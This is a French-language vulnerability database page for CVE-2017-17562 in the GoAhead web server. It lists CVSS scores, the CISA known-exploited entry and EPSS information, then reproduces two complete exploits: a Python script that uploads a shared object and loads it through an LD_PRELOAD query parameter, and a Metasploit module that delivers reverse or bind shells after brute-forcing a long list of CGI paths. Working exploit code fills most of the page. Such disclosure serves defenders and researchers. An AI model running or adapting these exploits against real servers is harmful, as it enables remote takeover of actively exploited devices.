Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE Other |
No informations. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.1 |
8.1 |
HIGH |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
| V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
CISA KEV (Vulnérabilités Exploitées Connues)
Nom de la vulnérabilité : Embedthis GoAhead Remote Code Execution Vulnerability
Action requise : Apply updates per vendor instructions.
Connu pour être utilisé dans des campagnes de ransomware : Unknown
Ajouter le : 2021-12-09 23h00 +00:00
Action attendue : 2022-06-09 22h00 +00:00
Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 43360
Date de publication : 2017-12-17 23h00 +00:00
Auteur : Daniel Hodson
EDB Vérifié : Yes
#!/usr/bin/python
# GoAhead httpd/2.5 to 3.6.5 LD_PRELOAD remote code execution exploit
# EDB Note: Payloads ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43360.zip
# EDB Note: Source ~ https://www.elttam.com.au/blog/goahead/
# EDB Note: Source ~ https://github.com/elttam/advisories/blob/c778394dfe454083ebdfb52f660fd3414ee8adb8/CVE-2017-17562/
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++++++++:--/++++++++++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++++/:-......-:/++++++++++++++++++++++++++++++++
#++++++++++++++++++++++/////::-..............-:://///+++++++++++++++++++++++
#++++++++++++++++++++++..............-:..............+++++++++++++++++++++++
#++++++++++++++++++++++..........-://+++/:-..........+++++++++++++++++++++++
#++++++++++++++++++++++......://++++++++++++//::.....+++++++++++++++++++++++
#++++++++++++++++++++++......++++++++++++++++++/.....+++++++++++++++++++++++
#++++++++++++++++++++++......:/+++++++++++++++/-.....+++++++++++++++++++++++
#++++++++++++++++++++++.........--::////:::--........+++++++++++++++++++++++
#++++++++++++++++++++++-...........................:/+++++++++++++++++++++++
#++++++++++++++++++++++:.....-................--:/++++++++++++++++++++++++++
#+++++++++++++++++++++++-....-+///::::::::///+++++++++++++++++++++++++++++++
#+++++++++++++++++++++++/.....-/++++++++++++++++/::+++++++++++++++++++++++++
#++++++++++++++++++++++++/-.....-/++++++++/:--...-/+++++++++++++++++++++++++
#++++++++++++++++++++++++++:.......:/++/:.......:+++++++++++++++++++++++++++
#+++++++++++++++++++++++++++/-................-/++++++++++++++++++++++++++++
#+++++++++++++++++++++++++++++/:-..........-:/++++++++++++++++++++++++++++++
#++++++++++++++++++++++++++++++++/:--..--:/+++++++++++++++++++++++++++++++++
#++++++++++++++++++++++++++++++++++++++++++++++++(c) 2017 elttam Pty Ltd.+++
# ~/goahead_exploit>>> ./makemyday.py -h
# usage: makemyday.py [-h] [--server SERVER] [--port PORT] [--maxconn {1-256}]
# [--verbose]
# {fingerprint,stage,exploit,findcgi} ...
#
# GoAhead httpd remote LD_PRELOAD exploit.
#
# positional arguments:
# {fingerprint,stage,exploit,findcgi}
# fingerprint fingerprint if GoAhead server uses CGI
# stage send a staging payload and wait indefinitely
# exploit run exploit
# findcgi brute force cgi script names
#
# optional arguments:
# -h, --help show this help message and exit
# --server SERVER target ip or hostname, default is localhost
# --port PORT target port, default is 80
# --maxconn {1-256} max concurrent requests, default is 1
# --verbose, -v increase verbosity level
#
# See https://www.elttam.com.au for more information.
# >>>./makemyday.py --server 192.168.1.24 --port 80 exploit --payload ./payloads/X86_64-hw.so
# exploit works!
import argparse
import httplib
import sys
import threading
from string import Template
class GoAheadExploit(object):
'''GoAheadExploit'''
qid = None
payload = None
exploited = False
def __init__(self):
'''Configure arguments and run the exploit'''
parser = argparse.ArgumentParser(
description="GoAhead httpd remote LD_PRELOAD exploit.",
epilog="See https://www.elttam.com.au for more information."
)
parser.add_argument('--server', default="localhost",
help='target ip or hostname, default is localhost')
parser.add_argument('--port', type=int, default=80,
help='target port, defaults is 80')
parser.add_argument('--maxconn', type=int, default=1, choices=xrange(1, 256),
metavar="{1-256}", help='max concurrent requests, default is 1')
parser.add_argument('--verbose', '-v', default=0, action='count',
help='increase verbosity level')
common_options = argparse.ArgumentParser(add_help=False)
common_options.add_argument('--cginame', default="cgitest",
help='target cgi script')
common_options.add_argument('--payload', nargs='?',
type=argparse.FileType('r'), default=sys.stdin,
help='shared object file to execute (defaults to stdin)')
cmd_subparsers = parser.add_subparsers(dest="action")
cmd_subparsers.add_parser(
'fingerprint', help='fingerprint if GoAhead server uses CGI')
cmd_subparsers.add_parser('stage', parents=[common_options],
help='send a staging payload and wait indefinitely')
cmd_subparsers.add_parser('exploit', parents=[common_options],
help='run exploit')
findcgi = cmd_subparsers.add_parser(
'findcgi', help='brute force cgi script names')
findcgi.add_argument('--wordlist', nargs='?',
type=argparse.FileType('r'), default=sys.stdin,
help='list of cgi filenames to brute force (defaults to stdin)')
# parse command line and call into action
self.args = parser.parse_args()
getattr(self, self.args.action)()
def fingerprint(self):
'''fingerprint'''
conn = httplib.HTTPConnection(self.args.server, self.args.port)
conn.connect()
conn.request(
"GET", "/cgi-bin/c8fed00eb2e87f1cee8e90ebbe870c190ac3848c")
if conn.getresponse().read().find("CGI process file does not exist") != -1:
print "CGI scripting is enabled"
else:
print "CGI scripting is disabled"
conn.close()
def findcgi(self):
'''findcgi'''
for cginame in self.args.wordlist.readlines():
cginame = cginame[:-1]
conn = httplib.HTTPConnection(self.args.server, self.args.port)
conn.connect()
conn.request("GET", "/cgi-bin/" + cginame)
resp = conn.getresponse()
if resp.status == 200:
print "/cgi-bin/" + cginame + " exists."
conn.close()
def stage(self):
'''stage'''
payload = self.args.payload.read()
headers = {"Host": self.args.server,
"User-Agent": "curl/7.51.0",
"Accept": "*/*",
"Content-Length": str(len(payload) + 1)}
conn = httplib.HTTPConnection(self.args.server, self.args.port)
conn.connect()
conn.request("POST", "/cgi-bin/" + self.args.cginame, payload, headers)
try:
conn.getresponse()
except httplib.BadStatusLine:
pass
conn.close()
def exploit(self):
'''exploit'''
for _ in range(0, self.args.maxconn):
tid = threading.Thread(self.do_exploit(verify,))
tid.start()
def do_exploit(self, verify_callback):
'''do_exploit'''
if not self.payload:
self.payload = self.args.payload.read()
contentlen = len(self.payload)
headers = {"Host": self.args.server,
"User-Agent": "curl/7.51.0",
"Accept": "*/*",
"Content-Length": str(contentlen)}
exploit_string = Template("/cgi-bin/${cginame}?LD_PRELOAD="
"/proc/self/fd/0").substitute({
"cginame": self.args.cginame
})
while not self.exploited:
conn = httplib.HTTPConnection(self.args.server, self.args.port, timeout=10)
conn.connect()
conn.request("POST", exploit_string, self.payload, headers)
try:
if verify_callback(conn.getresponse()):
self.exploited = True
print "exploit works!"
except httplib.BadStatusLine:
pass
conn.close()
# put your payload callback/verification code here
def verify(res):
'''validation callback'''
if res.getheader("hello"):
return True
return False
if __name__ == '__main__':
GoAheadExploit()
Exploit Database EDB-ID : 43877
Date de publication : 2018-01-23 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'GoAhead Web Server LD_PRELOAD Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in GoAhead web server versions between 2.5 and that have the CGI module
enabled.
},
'Author' =>
[
'Daniel Hodson <daniel[at]elttam.com.au>', # Elttam Vulnerability Discovery & Python Exploit
'h00die', # Metasploit Module
'hdm', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-17562' ],
[ 'URL', 'https://www.elttam.com.au/blog/goahead/' ]
],
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Platform' => 'linux',
'Targets' =>
[
[ 'Automatic (Reverse Shell)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'ReverseStub' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_reverse_stub',
'ConnectionType' => 'reverse',
}
}
}
],
[ 'Automatic (Bind Shell)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ], 'BindStub' => true,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd_bind_stub',
'ConnectionType' => 'bind'
}
}
}
],
[ 'Automatic (Command)',
{ 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] }
],
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
[ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
[ 'Linux ARM64', { 'Arch' => ARCH_AARCH64 } ],
[ 'Linux MIPS', { 'Arch' => ARCH_MIPS } ],
[ 'Linux MIPSLE', { 'Arch' => ARCH_MIPSLE } ],
[ 'Linux MIPS64', { 'Arch' => ARCH_MIPS64 } ],
[ 'Linux MIPS64LE', { 'Arch' => ARCH_MIPS64LE } ],
# PowerPC stubs are currently over the 16384 maximum POST size
# [ 'Linux PPC', { 'Arch' => ARCH_PPC } ],
# [ 'Linux PPC64', { 'Arch' => ARCH_PPC64 } ],
# [ 'Linux PPC64 (LE)', { 'Arch' => ARCH_PPC64LE } ],
[ 'Linux SPARC', { 'Arch' => ARCH_SPARC } ],
[ 'Linux SPARC64', { 'Arch' => ARCH_SPARC64 } ],
[ 'Linux s390x', { 'Arch' => ARCH_ZARCH } ],
],
'DefaultOptions' =>
{
'SHELL' => '/bin/sh',
},
'Privileged' => false,
'DisclosureDate' => 'Dec 18 2017', # June 9th, technically, via github commit.
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGET_URI', [false, 'The path to a CGI script on the GoAhead server'])
])
end
# Setup our mapping of Metasploit architectures to gcc architectures
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_MIPS64LE => [ 'mips64el' ],
# PowerPC stubs are currently over the 16384 maximum POST size
# ARCH_PPC => [ 'powerpc' ],
# ARCH_PPC64 => [ 'powerpc64' ],
# ARCH_PPC64LE => [ 'powerpc64le' ],
ARCH_SPARC => [ 'sparc' ],
ARCH_SPARC64 => [ 'sparc64' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
ARCH_ZARCH => [ 's390x' ],
}
# Architectures we don't offically support but can shell anyways with interact
@@payload_arch_bonus = %W{
mips64el sparc64 s390x
}
# General platforms (OS + C library)
@@payload_platforms = %W{
linux-glibc
}
end
# Use fancy payload wrappers to make exploitation a joyously lazy exercise
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
template_list = []
template_type = nil
template_arch = nil
# Handle the generic command types first
if target.arch.include?(ARCH_CMD)
# Default to a system() template
template_type = 'system'
# Handle reverse_tcp() templates
if target['ReverseStub']
template_type = 'reverse'
end
# Handle reverse_tcp() templates
if target['BindStub']
template_type = 'bind'
end
all_architectures = @@payload_arch_mappings.values.flatten.uniq
# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end
# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end
# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end
# Remove any duplicates that may have snuck in
template_list.uniq!
# Cycle through each top-level platform we know about
@@payload_platforms.each do |t_plat|
# Cycle through each template and yield
template_list.each do |t_arch|
wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
unless ::File.exist?(wrapper_path)
raise RuntimeError.new("Missing executable template at #{wrapper_path}")
end
data = ''
::File.open(wrapper_path, "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end
pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end
if %W{reverse bind}.include?(template_type)
pidx = data.index("55555")
if pidx
data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
end
end
if 'reverse' == template_type
pidx = data.index("000.000.000.000")
if pidx
data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
end
end
vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
yield(data)
# Introduce a small delay for the payload to stage
Rex.sleep(0.50)
# Short-circuit once we have a session
return if session_created?
end
end
end
# Start the shell train
def exploit
# Find a valid CGI target
target_uri = find_target_cgi
return unless target_uri
# Create wrappers for each potential architecture
cycle_possible_payloads do |wrapped_payload|
# Trigger the vulnerability and run the payload
trigger_payload(target_uri, wrapped_payload)
return if session_created?
end
end
# Determine whether the target is exploitable
def check
# Find a valid CGI target
target_uri = find_target_cgi
unless target_uri
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Vulnerable
end
# Upload and LD_PRELOAD execute the shared library payload
def trigger_payload(target_uri, wrapped_payload)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri),
'vars_get' => {
'LD_PRELOAD' => '/proc/self/fd/0'
},
'data' => wrapped_payload
})
nil
end
# Find an exploitable CGI endpoint. These paths were identified by mining Sonar HTTP datasets
def find_target_cgi
target_uris = []
common_dirs = %W^
/
/cgi-bin/
/cgi/
^
common_exts = ["", ".cgi"]
common_cgis = %W^
admin
apply
non-CA-rev
checkCookie
check_user
chn/liveView
cht/liveView
cnswebserver
config
configure/set_link_neg
configure/swports_adjust
eng/liveView
firmware
getCheckCode
get_status
getmac
getparam
guest/Login
home
htmlmgr
index
index/login
jscript
kvm
liveView
login
login.asp
login/login
login/login-page
login_mgr
luci
main
main-cgi
manage/login
menu
mlogin
netbinary
nobody/Captcha
nobody/VerifyCode
normal_userLogin
otgw
page
rulectl
service
set_new_config
sl_webviewer
ssi
status
sysconf
systemutil
t/out
top
unauth
upload
variable
wanstatu
webcm
webmain
webproc
webscr
webviewLogin
webviewLogin_m64
webviewer
welcome
cgitest
^
if datastore['TARGET_URI'].to_s.length > 0
target_uris << datastore['TARGET_URI']
end
common_dirs.each do |cgi_dir|
common_cgis.each do |cgi_path|
common_exts.each do |cgi_ext|
target_uris << "#{cgi_dir}#{cgi_path}#{cgi_ext}"
end
end
end
print_status("Searching #{target_uris.length} paths for an exploitable CGI endpoint...")
target_uris.each do |uri|
if is_cgi_exploitable?(uri)
print_good("Exploitable CGI located at #{uri}")
return uri
end
end
print_error("No valid CGI endpoints identified")
return
end
# Use the output of LD_DEBUG=help to determine whether an endpoint is exploitable
def is_cgi_exploitable?(uri)
res = send_request_cgi({'uri' => uri, 'method' => 'POST', 'vars_get' => { 'LD_DEBUG' => 'help' }})
if res
vprint_status("Request for #{uri} returned #{res.code}: #{res.message}")
else
vprint_status("Request for #{uri} did not return a response")
end
!!(res && res.body && res.body.to_s.include?("LD_DEBUG_OUTPUT"))
end
# This sometimes determines if the CGI module is enabled, but doesn't seem
# to return the error to the client in newer versions. Unused for now.
def is_cgi_enabled?
return true
res = send_request_cgi({'uri' => "/cgi-bin"})
!!(res && res.body && res.body.to_s.include?("Missing CGI name"))
end
end
Products Mentioned
Configuraton 0
Embedthis>>Goahead >> Version To (excluding) 3.6.5
Configuraton 0
Oracle>>Integrated_lights_out_manager >> Version 3.0
Oracle>>Integrated_lights_out_manager >> Version 4.0
Références
